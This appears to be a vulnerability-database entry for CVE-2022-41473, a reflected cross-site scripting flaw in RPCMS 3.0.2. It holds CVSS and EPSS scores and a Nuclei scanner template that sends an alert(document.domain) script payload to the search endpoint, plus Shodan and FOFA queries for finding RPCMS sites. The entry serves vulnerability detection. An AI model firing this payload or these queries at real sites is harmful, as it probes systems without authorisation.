Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2022-41473
HistoryOct 17, 2022 - 4:51 a.m.

RPCMS 3.0.2 - Cross-Site Scripting

2022-10-1704:51:54
ProjectDiscovery
github.com
5
cve-2022-41473
rpcms
cross-site scripting

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

0.017 Low

EPSS

Percentile

87.9%

RPCMS 3.0.2 contains a cross-site scripting vulnerability in the Search function. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
id: CVE-2022-41473

info:
  name: RPCMS 3.0.2 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    RPCMS 3.0.2 contains a cross-site scripting vulnerability in the Search function. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, leading to potential data theft, session hijacking, or defacement of the website.
  remediation: |
    Apply the latest security patch or upgrade to a newer version of RPCMS to mitigate the XSS vulnerability.
  reference:
    - https://github.com/ralap-z/rpcms/issues/1
    - https://nvd.nist.gov/vuln/detail/CVE-2022-41473
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Henry4E36/POCS
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-41473
    cwe-id: CWE-79
    epss-score: 0.012
    epss-percentile: 0.84884
    cpe: cpe:2.3:a:rpcms:rpcms:3.0.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: rpcms
    product: rpcms
    shodan-query:
      - http.html:"RPCMS"
      - http.html:"rpcms"
    fofa-query: body="rpcms"
  tags: cve,cve2022,rpcms,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/search/?q=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - 'rpcms'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502200931be46cb86f8fd8f8330c488ce9bdeb7013d0e3f704cce5bc77432cf040928022100c7aa9184cf2433d6c9751e9d82b4c63a157845a6589d2c0e4a88b7d9e2fbe02b:922c64590222798bb761d5b6d8e72950

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

0.017 Low

EPSS

Percentile

87.9%

Related for NUCLEI:CVE-2022-41473